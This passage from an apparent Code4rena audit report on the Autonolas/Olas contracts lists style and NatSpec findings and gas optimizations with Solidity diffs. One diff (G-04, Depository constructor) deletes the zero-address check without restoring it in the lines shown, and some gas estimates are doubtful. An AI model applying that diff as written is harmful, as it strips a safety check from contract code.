46     event Withdraw(address indexed token, address indexed to,
uint256 tokenAmount);
47     event EnableToken(address indexed token);
48     event DisableToken(address indexed token);
49     event ReceiveETH(address indexed sender, uint256 amount);
50:     event UpdateTreasuryBalances(uint256 ETHOwned, uint256
ETHFromServices);

/// @audit Missing '@param amount'
48     event DisableToken(address indexed token);
49     event ReceiveETH(address indexed sender, uint256 amount);
50     event UpdateTreasuryBalances(uint256 ETHOwned, uint256
ETHFromServices);
51     event PauseTreasury();
52     event UnpauseTreasury();

```

```
53:         event MinAcceptedETHUpdated(uint256 amount);
```

GitHub: [35](#), [36](#), [37](#), [38](#), [39](#), [39](#), [39](#), [39](#), [40](#), [40](#), [40](#), [40](#), [41](#), [41](#), [41](#), [42](#), [43](#), [44](#), [44](#), [45](#), [45](#), [48](#)

[N-18] NatSpec: Function @param tag is missing

There is one instance of this issue:

File: contracts/GovernorOLAS.sol

```
/// @audit Missing '@param quorumFraction'
17         IVotes governanceToken,
18         TimelockController timelock,
19         uint256 initialVotingDelay,
20         uint256 initialVotingPeriod,
21         uint256 initialProposalThreshold,
22         uint256 quorumFraction
```

GitHub: [17](#)

[N-19] NatSpec: Function @return tag is missing

There are 8 instances of this issue:

File: contracts/bridges/HomeMediator.sol

```
/// @audit Missing '@return '
6:         function messageSender() external view returns (address);
```

GitHub: [6](#)

File: contracts/multisigs/GuardCM.sol

```
/// @audit Missing '@return '
7:         function state(uint256 proposalId) external returns
(ProposalState);
```

GitHub: [7](#)

File: contracts/interfaces/IUniswapV2Pair.sol

```
/// @audit Missing '@return '  
6:         function totalSupply() external view returns (uint);  
  
/// @audit Missing '@return '  
7:         function token0() external view returns (address);  
  
/// @audit Missing '@return '  
8:         function token1() external view returns (address);  
  
/// @audit Missing '@return reserve0'  
/// @audit Missing '@return reserve1'  
/// @audit Missing '@return blockTimestampLast'  
9:         function getReserves() external view returns (uint112 reserve0,  
uint112 reserve1, uint32 blockTimestampLast);
```

GitHub: [6](#), [7](#), [8](#), [9](#), [9](#), [9](#)

[N-20] Not using the named return variables anywhere in the function is confusing

Consider changing the variable to be an unnamed one, since the variable is never assigned, nor is it returned by name. If the optimizer is not turned on, leaving the code as it is will also waste gas for the stack variable.

There are 4 instances of this issue:

File: contracts/UnitRegistry.sol

```
/// @audit numDependencies  
/// @audit dependencies  
160         function getDependencies(uint256 unitId) external view virtual  
161             returns (uint256 numDependencies, uint32[] memory  
dependencies)  
162:         {  
  
/// @audit numHashes  
171         function getUpdatedHashes(uint256 unitId) external view virtual  
172             returns (uint256 numHashes, bytes32[] memory unitHashes)  
173:         {
```

GitHub: [160](#), [160](#), [171](#)

File: contracts/Depository.sol

```
/// @audit priceLP
491:     function getCurrentPriceLP(address token) external view returns
(uint256 priceLP) {
```

GitHub: [491](#)

[N-21] Style guide: Local and state variables should be named using lowerCamelCase

The Solidity style guide [says](#) to use mixedCase for function argument names

There is one instance of this issue:

File: contracts/bridges/HomeMediator.sol

```
62:     constructor(address _AMBContractProxyHome, address
_foreignGovernor) {
```

GitHub: [62](#)

[N-22] Style guide: Non-external/public variable names should begin with an underscore

According to the Solidity Style Guide, non-external/public variable names should begin with an [underscore](#)

There are 3 instances of this issue:

File: contracts/veOLAS.sol

```
99:     uint64 internal constant WEEK = 1 weeks;

101:    uint256 internal constant MAXTIME = 4 * 365 * 86400;

103:    int128 internal constant IMAXTIME = 4 * 365 * 86400;
```

GitHub: [99](#), [101](#), [103](#)

[N-23] Style guide: Top-level declarations should be separated by at least two lines

And functions within contracts should be separate by a [single](#) line

There are 2 instances of this issue:

```
File: contracts/multisigs/GuardCM.sol

4      import {Enum} from "@gnosis.pm/safe-
contracts/contracts/common/Enum.sol";
5
6:      interface IGovernor {
```

GitHub: [4](#)

```
File: contracts/wveOLAS.sol

11     }
12
13:     interface IVEOLAS {
```

GitHub: [11](#)

[N-24] Unnecessary cast

The variable is being cast to its own type

There are 3 instances of this issue:

```
File: contracts/veOLAS.sol

/// @audit uint256
/// @audit uint256
225:         block_slope = (1e18 * uint256(block.number -
lastPoint.blockNumber)) / uint256(block.timestamp - lastPoint.ts);
```

GitHub: [225](#), [225](#)

```
File: contracts/UnitRegistry.sol

/// @audit uint256
185:         subComponentIds = mapSubComponents[uint256(unitId)];
```

GitHub: [185](#)

[N-25] Unused `error` definition

Note that there may be cases where an error superficially appears to be used, but this is only because there are multiple definitions of the error in different files. In such cases, the error definition should be moved into a separate file. The instances below are the unused definitions.

There are 9 instances of this issue:

File: `contracts/interfaces/IErrors.sol`

```
9:         error OwnerOnly(address sender, address owner);

18:        error NonZeroValue();

23:        error WrongArrayLength(uint256 numValues1, uint256 numValues2);

41:        error InsufficientAllowance(uint256 provided, uint256 expected);
```

GitHub: [9](#), [18](#), [23](#), [41](#)

File: `contracts/interfaces/IErrorsRegistries.sol`

```
29:         error WrongArrayLength(uint256 numValues1, uint256 numValues2);

43:         error WrongThreshold(uint256 currentThreshold, uint256
minThreshold, uint256 maxThreshold);

95:         error UnauthorizedMultisig(address multisig);

114:        error TransferFailed(address token, address from, address to,
uint256 value);
```

GitHub: [29](#), [43](#), [95](#), [114](#)

File: `contracts/multisigs/GnosisSafeSameAddressMultisig.sol`


```
19:  error ZeroAddress();
```

GitHub: [19](#)

[N-26] Unused public contract variable

Note that there may be cases where a variable superficially appears to be used, but this is only because there are multiple definitions of the variable in different files. In such cases, the variable definition should be moved into a separate file. The instances below are the unused variables.

There are 9 instances of this issue:

File: contracts/AgentRegistry.sol

```
13:  string public constant VERSION = "1.0.0";
```

GitHub: [13](#)

File: contracts/ComponentRegistry.sol

```
10:  string public constant VERSION = "1.0.0";
```

GitHub: [10](#)

File: contracts/Depository.sol

```
77:  string public constant VERSION = "1.0.1";
```

GitHub: [77](#)

File: contracts/Tokenomics.sol

```
217:  mapping(uint256 => uint256) public mapServiceAmounts;
```

```
219:  mapping(address => uint256) public mapOwnerRewards;
```

```
221:     mapping(address => uint256) public mapOwnerTopUps;
```

GitHub: [217](#), [219](#), [221](#)

File: contracts/TokenomicsConstants.sol

```
11:     string public constant VERSION = "1.0.1";

14:     bytes32 public constant PROXY_TOKENOMICS =
0xbd5523e7c3b6a94aa0e3b24d1120addc2f95c7029e097b466b2bedc8d4b4362f;
```

GitHub: [11](#), [14](#)

File: contracts/TokenomicsProxy.sol

```
28:     bytes32 public constant PROXY_TOKENOMICS =
0xbd5523e7c3b6a94aa0e3b24d1120addc2f95c7029e097b466b2bedc8d4b4362f;
```

GitHub: [28](#)

[N-27] Use `bytes.concat()` on bytes instead of `abi.encodePacked()` for clearer semantic meaning

Starting with version 0.8.4, Solidity has the `bytes.concat()` function, which allows one to concatenate a list of bytes/strings, without extra padding. Using this function rather than `abi.encodePacked()` makes the intended operation more clear, leading to less reviewer confusion.

There is one instance of this issue:

File: contracts/GenericRegistry.sol

```
139         return string(abi.encodePacked(baseURI, CID_PREFIX,
_toHex16(bytes16(unitHash)),
140:         _toHex16(bytes16(unitHash << 128))));
```

GitHub: [139](#)

[N-28] Use bit shifts to represent powers of two

Use bit shifts in an immutable variable rather than long hex strings for powers of two, for readability (e.g. `0x100000000000000000000000000000000 -> 1 << 96`)

There are 7 instances of this issue:

```
File: contracts/Tokenomics.sol

550:         tokenomicsParametersUpdated = tokenomicsParametersUpdated |
0x01;

599:         tokenomicsParametersUpdated = tokenomicsParametersUpdated |
0x02;

942:         tokenomicsParametersUpdated =
tokenomicsParametersUpdated | 0x04;

973:         if (tokenomicsParametersUpdated & 0x02 == 0x02) {

973:         if (tokenomicsParametersUpdated & 0x02 == 0x02) {

987:         if (tokenomicsParametersUpdated & 0x01 == 0x01) {

987:         if (tokenomicsParametersUpdated & 0x01 == 0x01) {
```

GitHub: [550](#), [599](#), [942](#), [973](#), [973](#), [987](#), [987](#)

[N-29] Use of `override` is unnecessary

Starting with Solidity version [0.8.8](#), using the `override` keyword when the function solely overrides an interface function, and the function doesn't exist in multiple base contracts, is unnecessary.

There are 14 instances of this issue:

```
File: contracts/GovernorOLAS.sol

33     function state(uint256 proposalId) public view
override(IGovernor, Governor, GovernorTimelockControl)
34         returns (ProposalState)
35:     {

45     function propose(
```

```

46         address[] memory targets,
47         uint256[] memory values,
48         bytes[] memory calldatas,
49         string memory description
50     ) public override(IGovernor, Governor,
GovernorCompatibilityBravo) returns (uint256)
51:     {

57     function proposalThreshold() public view override(Governor,
GovernorSettings) returns (uint256)
58:     {

68     function _execute(
69         uint256 proposalId,
70         address[] memory targets,
71         uint256[] memory values,
72         bytes[] memory calldatas,
73         bytes32 descriptionHash
74     ) internal override(Governor, GovernorTimelockControl)
75:     {

85     function _cancel(
86         address[] memory targets,
87         uint256[] memory values,
88         bytes[] memory calldatas,
89         bytes32 descriptionHash
90     ) internal override(Governor, GovernorTimelockControl) returns
(uint256)
91:     {

97     function _executor() internal view override(Governor,
GovernorTimelockControl) returns (address)
98:     {

105    function supportsInterface(bytes4 interfaceId) public view
override(IERC165, Governor, GovernorTimelockControl)
106        returns (bool)
107:    {

```

GitHub: [33](#), [45](#), [57](#), [68](#), [85](#), [97](#), [105](#)

File: contracts/bridges/FxGovernorTunnel.sol

```
107:     function processMessageFromRoot(uint256 stateId, address
rootMessageSender, bytes memory data) external override {
```

GitHub: [107](#)

File: contracts/veOLAS.sol

```
607:     function balanceOf(address account) public view override returns
(uint256 balance) {

719:     function totalSupply() public view override returns (uint256) {

767:     function transfer(address to, uint256 amount) external virtual
override returns (bool) {

772:     function approve(address spender, uint256 amount) external
virtual override returns (bool) {

777:     function transferFrom(address from, address to, uint256 amount)
external virtual override returns (bool) {

782     function allowance(address owner, address spender) external view
virtual override returns (uint256)
783:     {
```

GitHub: [607](#), [719](#), [767](#), [772](#), [777](#), [782](#)

[kupermind \(Olas\) disputed and commented:](#)

This report contains no issue and no valuable insights. Therefore we suggest not having this into the final report.

Note: Since the C4 judge deemed this QA report as best and selected for report, it has been pulled into the report for completeness.

Gas Optimizations

For this audit, 11 reports were submitted by wardens detailing gas optimizations. The [report highlighted below](#) by OxAnah received the top score from the judge.

The following wardens also submitted reports: [hunter_w3b](#), [lllllll](#), [JCK](#), [naman1778](#), [c3phas](#), [Raihan](#), [Ox11singh99](#), [alphacipher](#), [OxA5DF](#), and [Sathish9098](#).

Introduction

Highlighted below are optimizations exclusively targeting state-mutating functions and view/pure functions invoked by state-mutating functions. In the discussion that follows, only runtime gas is emphasized, given its inevitable dominance over deployment gas costs throughout the protocol's lifetime.

Please be aware that some code snippets may be shortened to conserve space, and certain code snippets may include @audit tags in comments to facilitate issue explanations."

[G-01] Unnecessary copy of some storage struct members to memory

Unnecessary copy of `mapUnits[unitId].unitHash` member to memory

- <https://github.com/code4rena/2023-12-autonolas/blob/main/registries/contracts/UnitRegistry.sol#L160-#L165>

In the `getDependencies()` function a complete storage `Unit` struct is copied into a memory `Unit` struct on [Line 163](#) but only the `dependencies` member of the storage `Unit` struct is needed in the function so rather than coping the complete struct from storage we could access and cache the specific member of the storage `Unit` struct directly. The diff below shows how the code should be refactored:

```
file: registries/contracts/UnitRegistry.sol
```

```
160:     function getDependencies(uint256 unitId) external view virtual
161:         returns (uint256 numDependencies, uint32[] memory
dependencies)
162:     {
163:         Unit memory unit = mapUnits[unitId];
164:         return (unit.dependencies.length, unit.dependencies);
165:     }
```

```
diff --git a/registries/contracts/UnitRegistry.sol
b/registries/contracts/UnitRegistry.sol
index 80b3235..9e7d8ba 100644
--- a/registries/contracts/UnitRegistry.sol
+++ b/registries/contracts/UnitRegistry.sol
@@ -160,8 +160,8 @@ abstract contract UnitRegistry is GenericRegistry {
     function getDependencies(uint256 unitId) external view virtual
         returns (uint256 numDependencies, uint32[] memory dependencies)
     {
-        Unit memory unit = mapUnits[unitId];
-        return (unit.dependencies.length, unit.dependencies);
```

```

+         dependencies = mapUnits[unitId].dependencies;
+         numDependencies = dependencies.length;
    }

    /// @dev Gets updated unit hashes.

```

[G-02] Redundant state variable getters

Getters for public state variables are automatically generated by the solidity compiler so there is no need to code them manually as this increases deployment cost.

Please note these instances were not included in the bot reports.

2 Instances

1. **Make** `mapUnits` **mapping variable** `private` **or** `internal` **since a getter function was defined for it.**

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/UnitRegistry.sol#L33>

The solidity compiler would automatically create a getter function for the `mapUnits` mapping since it is declared as a public variable but a getter function `getUnit()` was also declared in the contract for the same variable thereby making it two getter functions for the same variable in the contract. We could rectify this issue by making the `mapUnits` variable `private` or `internal` (if the variable is to be inherited). The diff below shows how the code could be refactored:

```

file: registries/contracts/UnitRegistry.sol

33:     mapping(uint256 => Unit) public mapUnits;           //@audit make
private or internal
.
.
.
152:     function getUnit(uint256 unitId) external view virtual returns
(Unit memory unit) {
153:         unit = mapUnits[unitId];
154:     }

```

```

diff --git a/registries/contracts/UnitRegistry.sol
b/registries/contracts/UnitRegistry.sol
index 80b3235..afb54b9 100644

```

```

--- a/registries/contracts/UnitRegistry.sol
+++ b/registries/contracts/UnitRegistry.sol
@@ -30,7 +30,7 @@ abstract contract UnitRegistry is GenericRegistry {
    // Map of unit Id => set of subcomponents (possible to derive from
    any registry)
    mapping(uint256 => uint32[]) public mapSubComponents;
    // Map of unit Id => unit
-   mapping(uint256 => Unit) public mapUnits;
+   mapping(uint256 => Unit) internal mapUnits;

    constructor(UnitType _unitType) {
        unitType = _unitType;

```

2. Make `mapBlacklistedDonators` **mapping variable** private or internal since a **getter function** was defined for it.

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/DonatorBlacklist.sol#L82-#L84>

The solidity compiler would automatically create a getter function for the `mapBlacklistedDonators` mapping since it is declared as a public variable but a getter function `isDonatorBlacklisted()` was also declared in the contract for the same variable thereby making it two getter functions for the same variable in the contract. We could rectify this issue by making the `mapBlacklistedDonators` variable private or internal (if the variable is to be inherited). The diff below shows how the code could be refactored:

```

file: tokenomics/contracts/DonatorBlacklist.sol

27:     mapping(address => bool) public mapBlacklistedDonators;
    // @audit make private or internal
    .
    .
    .
82:     function isDonatorBlacklisted(address account) external view
    returns (bool status) {
83:         status = mapBlacklistedDonators[account];
84:     }

```

```

diff --git a/tokenomics/contracts/DonatorBlacklist.sol
b/tokenomics/contracts/DonatorBlacklist.sol
index 00d84f4..f173321 100644
--- a/tokenomics/contracts/DonatorBlacklist.sol
+++ b/tokenomics/contracts/DonatorBlacklist.sol

```



```

@@ -24,7 +24,7 @@ contract DonatorBlacklist {
    // Owner address
    address public owner;
    // Mapping account address => blacklisting status
-   mapping(address => bool) public mapBlacklistedDonators;
+   mapping(address => bool) internal mapBlacklistedDonators;

    /// @dev DonatorBlacklist constructor.
    constructor() {

```

[G-03] Add unchecked blocks for subtractions where the operands cannot underflow

There are some checks to avoid an underflow, but in some scenarios where it is impossible for underflow to occur we can use unchecked blocks to have some gas savings.

Please note this instance was not included in the bot reports.

The calculation `uint256 numYears = (block.timestamp - timeLaunch) / oneYear` **can be unchecked**

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L101>

In the `inflationRemainder()` function it is not possible that the computation `block.timestamp - timeLaunch` statement would underflow as the value of `block.timestamp` would always be greater than that of `timeLaunch` so we can perform the `uint256 numYears = (block.timestamp - timeLaunch) / oneYear` statement in an `unchecked {}` block as this would save some gas from the unnecessary internal underflow checks. The code could be refactored as shown in the diff below.

```

file: governance/contracts/OLAS.sol

98:     function inflationRemainder() public view returns (uint256
remainder) {
99:         uint256 _totalSupply = totalSupply;
100:        // Current year
101:        uint256 numYears = (block.timestamp - timeLaunch) / oneYear;
//@audit can be unchecked
102:        // Calculate maximum mint amount to date
103:        uint256 supplyCap = tenYearSupplyCap;
104:        // After 10 years, adjust supplyCap according to the yearly
inflation % set in maxMintCapFraction
105:        if (numYears > 9) {

```

```

106:          // Number of years after ten years have passed (including
ongoing ones)
107:          numYears -= 9;
108:          for (uint256 i = 0; i < numYears; ++i) {
109:              supplyCap += (supplyCap * maxMintCapFraction) / 100;
110:          }
111:      }
112:      // Check for the requested mint overflow
113:      remainder = supplyCap - _totalSupply;
114:  }

```

```

diff --git a/governance/contracts/OLAS.sol
b/governance/contracts/OLAS.sol
index a1700ed..33fc569 100644
--- a/governance/contracts/OLAS.sol
+++ b/governance/contracts/OLAS.sol
@@ -98,7 +98,10 @@ contract OLAS is ERC20 {
    function inflationRemainder() public view returns (uint256
remainder) {
        uint256 _totalSupply = totalSupply;
        // Current year
-        uint256 numYears = (block.timestamp - timeLaunch) / oneYear;
+        uint256 numYears;
+        unchecked {
+            numYears = (block.timestamp - timeLaunch) / oneYear;
+        }
        // Calculate maximum mint amount to date
        uint256 supplyCap = tenYearSupplyCap;
        // After 10 years, adjust supplyCap according to the yearly
inflation % set in maxMintCapFraction

```

[G-04] Refactor functions such that all checks are performed before assigning values to state variables

2 Instances

1. Refactor the constructor of Depository contract such that all the checks on the arguments are performed before assigning the values to state variables.
 - <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L106-#L118>

The constructor of Depository contract should be refactored such that all the checks on the arguments are performed before assigning the values to state variables because for

example in a scenario such that the check on [line 111 - Line 113](#) fails the function would revert but it would have assigned values to the owner state variables costing 1 SSTORE 20000 gas units. But if all the checks are performed first before assigning any value to any of state variables and a check fails the deployment would revert without performing consuming huge amount of gas thereby making the constructor better gas efficient. The diff below shows how the code could be refactored:

```
file: tokenomics/contracts/Depository.sol
```

```
106:     constructor(address _olas, address _tokenomics, address
107:     {
108:         owner = msg.sender;
109:
110:         // Check for at least one zero contract address
111:         if (_olas == address(0) || _tokenomics == address(0) ||
112:         _treasury == address(0) || _bondCalculator == address(0)) {
113:             revert ZeroAddress();
114:         }
115:         olas = _olas;
116:         tokenomics = _tokenomics;
117:         treasury = _treasury;
118:         bondCalculator = _bondCalculator;
119:     }
```

```
diff --git a/tokenomics/contracts/Depository.sol
b/tokenomics/contracts/Depository.sol
index f9c7d64..9bde7d4 100644
--- a/tokenomics/contracts/Depository.sol
+++ b/tokenomics/contracts/Depository.sol
@@ -105,12 +105,11 @@ contract Depository is IErrorsTokenomics {
    /// @param _tokenomics Tokenomics address.
    constructor(address _olas, address _tokenomics, address _treasury,
    address _bondCalculator)
    {
-       owner = msg.sender;
-
-       // Check for at least one zero contract address
-       if (_olas == address(0) || _tokenomics == address(0) ||
-       _treasury == address(0) || _bondCalculator == address(0)) {
-           revert ZeroAddress();
-       }
+       owner = msg.sender;
+       olas = _olas;
```

```
tokenomics = _tokenomics;
treasury = _treasury;
```

Estimated gas saved: 20000 gas units

2. Refactor the constructor of Dispenser contract such that all the checks on the arguments are performed before assigning the values to state variables.

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L30-#L42>

The constructor of Dispenser contract should be refactored such that all the checks on the arguments are performed before assigning the values to state variables because for example in a scenario such that the check on [line 36 - Line 38](#) fails the function would revert but it would have assigned values to the owner and _locked state variables costing 2 STORE 40000 gas units. But if all the checks are performed first before assigning any value to any of state variables and a check fails the deployment would revert without performing consuming huge amount of gas thereby making the constructor better gas efficient. The diff below shows how the code could be refactored:

file: tokenomics/contracts/Dispenser.sol

```
30:     constructor(address _tokenomics, address _treasury)
31:     {
32:         owner = msg.sender;
33:         _locked = 1;
34:
35:         // Check for at least one zero contract address
36:         if (_tokenomics == address(0) || _treasury == address(0)) {
37:             revert ZeroAddress();
38:         }
39:
40:         tokenomics = _tokenomics;
41:         treasury = _treasury;
42:     }
```

Estimated gas saved: 40000 gas units

[G-05] Cache external calls outside of loop to avoid re-calling function on each iteration

Performing STATICCALLs that do not depend on variables incremented in loops should always try to be avoided within the loop. In the following instances, we are able to cache the external calls outside of the loop to save a STATICCALL (100 gas) per loop iteration.

Cache `IVotingEscrow(ve).getVotes(donator)` **outside of loop.**

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L710>

The external call `IVotingEscrow(ve).getVotes(donator)` should be made outside the loop and the result cached since the value it returns is not dependent on the loop iterations.

```
file: tokenomics/contracts/Tokenomics.sol

687:     function _trackServiceDonations(address donator, uint256[] memory
serviceIds, uint256[] memory amounts, uint256 curEpoch) internal {
688:         // Component / agent registry addresses
689:         address[] memory registries = new address[](2);
690:         (registries[0], registries[1]) = (componentRegistry,
agentRegistry);
.
.
.
702:         for (uint256 i = 0; i < numServices; ++i) {
703:             // Check if the service owner or donator stakes enough
OLAS for its components / agents to get a top-up
704:             // If both component and agent owner top-up fractions are
zero, there is no need to call external contract
705:             // functions to check each service owner veOLAS balance
706:             bool topUpEligible;
707:             if (incentiveFlags[2] || incentiveFlags[3]) {
708:                 address serviceOwner =
IToken(serviceRegistry).ownerOf(serviceIds[i]);
709:                 topUpEligible =
(IVotingEscrow(ve).getVotes(serviceOwner) >= veOLASThreshold ||
710:                 IVotingEscrow(ve).getVotes(donator) >=
veOLASThreshold) ? true : false; // @audit cache external call
`IVotingEscrow(ve).getVotes(donator)` outside of loop
711:             }
.
.
.
774:     }
```

```

diff --git a/tokenomics/contracts/Tokenomics.sol
b/tokenomics/contracts/Tokenomics.sol
index 2ef2708..83ecf18 100644
--- a/tokenomics/contracts/Tokenomics.sol
+++ b/tokenomics/contracts/Tokenomics.sol
@@ -696,6 +696,8 @@ contract Tokenomics is TokenomicsConstants,
 IErrorsTokenomics {
     incentiveFlags[2] =
 (mapEpochTokenomics[curEpoch].unitPoints[0].topUpUnitFraction > 0);
     incentiveFlags[3] =
 (mapEpochTokenomics[curEpoch].unitPoints[1].topUpUnitFraction > 0);

+     uint256 donatorVotes = IVotingEscrow(ve).getVotes(donator);
+
     // Get the number of services
     uint256 numServices = serviceIds.length;
     // Loop over service Ids to calculate their partial
 contributions
@@ -707,7 +709,7 @@ contract Tokenomics is TokenomicsConstants,
 IErrorsTokenomics {
     if (incentiveFlags[2] || incentiveFlags[3]) {
         address serviceOwner =
 IToken(serviceRegistry).ownerOf(serviceIds[i]);
         topUpEligible =
 (IVotingEscrow(ve).getVotes(serviceOwner) >= veOLASThreshold ||
- IVotingEscrow(ve).getVotes(donator) >=
 veOLASThreshold) ? true : false;
+         donatorVotes >= veOLASThreshold) ? true : false;
     }

     // Loop over component and agent Ids

```

Estimated Gas saved: Above 97 gas units per loop iteration

[G-06] Avoid zero transfers

In Solidity, performing unnecessary operations can consume more gas than needed, leading to cost inefficiencies. For instance, if a transfer function doesn't have a zero amount check and someone calls it with a zero amount, unnecessary gas will be consumed in executing the function, even though the state of the contract remains the same. By implementing a zero amount check, such unnecessary function calls can be avoided, thereby saving gas and making the contract more efficient. Amounts should be checked for 0 before calling a

transfer Checking non-zero transfer values can avoid an expensive external call and save gas. I suggest adding a non-zero-value.

Please note this instance was not included in the bots reports.

Refactor `veOLAS.withdraw()` function to avoid making zero transfers

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L534>

a check for if `amount == 0` should be introduced to `veOLAS.withdraw()` function so as to prevent making unnecessary transfer that does not change state of the contract in scenarios where `amount = 0`. The diff below shows how `veOLAS.withdraw()` function could be refactored.

```
file: governance/contracts/veOLAS.sol

510:     function withdraw() external {
511:         LockedBalance memory lockedBalance =
mapLockedBalances[msg.sender];
512:         if (lockedBalance.endTime > block.timestamp) {
513:             revert LockNotExpired(msg.sender, lockedBalance.endTime,
block.timestamp);
514:         }
515:         uint256 amount = uint256(lockedBalance.amount);
516:
517:         mapLockedBalances[msg.sender] = LockedBalance(0, 0);
518:         uint256 supplyBefore = supply;
519:         uint256 supplyAfter;
520:         // The amount cannot be less than the total supply
521:         unchecked {
522:             supplyAfter = supplyBefore - amount;
523:             supply = supplyAfter;
524:         }
525:         // oldLocked can have either expired <= timestamp or zero end
526:         // lockedBalance has only 0 end
527:         // Both can have >= 0 amount
528:         _checkpoint(msg.sender, lockedBalance, LockedBalance(0, 0),
uint128(supplyAfter));
529:         emit Withdraw(msg.sender, amount, block.timestamp);
530:         emit Supply(supplyBefore, supplyAfter);
531:
532:         // OLAS is a solmate-based ERC20 token with optimized
transfer() that either returns true or reverts
```

```

533:         IERC20(token).transfer(msg.sender, amount); // @audit should
check for amount == 0 before transfer
534:     }

```

```

diff --git a/governance/contracts/veOLAS.sol
b/governance/contracts/veOLAS.sol
index 6f14419..4ab19b5 100644
--- a/governance/contracts/veOLAS.sol
+++ b/governance/contracts/veOLAS.sol
@@ -531,7 +531,10 @@ contract veOLAS is IErrors, IVotes, IERC20, IERC165
{
    emit Supply(supplyBefore, supplyAfter);

    // OLAS is a solmate-based ERC20 token with optimized transfer()
that either returns true or reverts
-    IERC20(token).transfer(msg.sender, amount);
+    if (amount > 0) {
+        IERC20(token).transfer(msg.sender, amount);
+    }
+
}

/// @dev Finds a closest point that has a specified block number.

```

Estimated gas saved: 100 gas units

[G-07] Deleting a struct is cheaper than creating a new struct with null values

Proof of Concept

```

struct Coordinates {
    uint256 x;
    uint256 y;
}

contract AssingningNullStruct{

    mapping(address => Coordinates) public userPositions;

    constructor() {

```



```

        userPositions[msg.sender].x = 4;
        userPositions[msg.sender].y = 4;
    }

    function deleteUserPosition() public {
        userPositions[msg.sender] = Coordinates(0,0);
    }
}

```

```

test for test/AssingningNullStruct.t.sol:AssingningNullStruct
[PASS] test_DeleteUserPosition() (gas: 10293)

```

```

struct Coordinates {
    uint256 x;
    uint256 y;
}

contract UsingDelete{

    mapping(address => Coordinates) public userPositions;

    constructor() {
        userPositions[msg.sender].x = 4;
        userPositions[msg.sender].y = 4;
    }

    function deleteUserPosition() public {
        delete userPositions[msg.sender];
    }
}

```

```

test for test/UsingDelete.t.sol:UsingDelete
[PASS] test_DeleteUserPosition() (gas: 10218)

```

Refactor `veOLAS.withdraw()` **to use** `delete` **to clear a struct mapping rather than assigning a null struct.**

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L517>

```

file: governance/contracts/veOLAS.sol

510:     function withdraw() external {
511:         LockedBalance memory lockedBalance =
mapLockedBalances[msg.sender];
512:         if (lockedBalance.endTime > block.timestamp) {
513:             revert LockNotExpired(msg.sender, lockedBalance.endTime,
block.timestamp);
514:         }
515:         uint256 amount = uint256(lockedBalance.amount);
516:
517:         mapLockedBalances[msg.sender] = LockedBalance(0, 0); //@audit
use delete rather than null structs
518:         uint256 supplyBefore = supply;
.
.
.
535:     }

```

```

diff --git a/governance/contracts/veOLAS.sol
b/governance/contracts/veOLAS.sol
index 6f14419..90f9d51 100644
--- a/governance/contracts/veOLAS.sol
+++ b/governance/contracts/veOLAS.sol
@@ -514,7 +514,7 @@ contract veOLAS is IErrors, IVotes, IERC20, IERC165 {
    }
    uint256 amount = uint256(lockedBalance.amount);

-    mapLockedBalances[msg.sender] = LockedBalance(0, 0);
+    delete mapLockedBalances[msg.sender];
    uint256 supplyBefore = supply;
    uint256 supplyAfter;
    // The amount cannot be less than the total supply

```

Estimated gas saved: 75 gas units saved.

[G-08] Using storage instead of memory for structs/arrays saves gas

When fetching data from a storage location, assigning the data to a memory variable causes all fields of the struct/array to be read from storage, which incurs a Gload (2100 gas) for each field of the struct/array. If the fields are read from the new memory variable, they incur an additional MLOAD rather than a cheap stack read. Instead of declaring the variable with

the memory keyword, declaring the variable with the storage keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incurring the Gcostload for the fields actually read. The only time it makes sense to read the whole struct/array into a memory variable, is if the full struct/array is being returned by the function, is being passed to a function that requires memory, or if the array/struct is being read from another memory array/struct

Please note this instance was not included in the bot reports.

1 Instance

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L596>

```
file: governance/contracts/veOLAS.sol
```

```
593:     function _balanceOfLocked(address account, uint64 ts) internal
view returns (uint256 vBalance) {
594:         uint256 pointNumber = mapUserPoints[account].length;
595:         if (pointNumber > 0) {
596:             PointVoting memory uPoint = mapUserPoints[account]
[pointNumber - 1]; //@audit use storage in place of memory
597:             uPoint.bias -= uPoint.slope * int128(int64(ts) -
int64(uPoint.ts));
598:             if (uPoint.bias > 0) {
599:                 vBalance = uint256(int256(uPoint.bias));
600:             }
601:         }
602:     }
```

```
diff --git a/governance/contracts/veOLAS.sol
b/governance/contracts/veOLAS.sol
index 6f14419..b811d7f 100644
--- a/governance/contracts/veOLAS.sol
+++ b/governance/contracts/veOLAS.sol
@@ -593,7 +593,7 @@ contract veOLAS is IErrors, IVotes, IERC20, IERC165 {
     function _balanceOfLocked(address account, uint64 ts) internal view
returns (uint256 vBalance) {
        uint256 pointNumber = mapUserPoints[account].length;
        if (pointNumber > 0) {
-            PointVoting memory uPoint = mapUserPoints[account]
[pointNumber - 1];
+            PointVoting storage uPoint = mapUserPoints[account]
[pointNumber - 1];
```

```

        uPoint.bias -= uPoint.slope * int128(int64(ts) -
int64(uPoint.ts));
        if (uPoint.bias > 0) {
            vBalance = uint256(int256(uPoint.bias));

```

[G-09] State variables only set in the constructor should be declared immutable

State variables only set in the constructor should be declared immutable as it avoids a Gsset (20000 gas) in the constructor, and replaces the first access in each transaction (Gcoldload - 2100 gas) and each access thereafter (Gwarmaccess - 100 gas) with a PUSH32 (3 gas).

Please note these instances were not included in the bot reports.

6 Instances

1. The `olas` state variable could be made immutable

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L65>

Making the `olas` state variable immutable would help avoid Gsset (20000 gas units) in the constructor during deployment. In implementing this change a cheaper stack read 3 gas would be used in place of 1 SLOAD (cold access 2100 gas units) in the functions `depositTokenForOLAS()` and `withdrawToAccount()` which reads the `olas` variable. The diff below shows how the code should be refactored:

```
file: tokenomics/contracts/Treasury.sol
```

```
65:     address public olas;
```

```

diff --git a/tokenomics/contracts/Treasury.sol
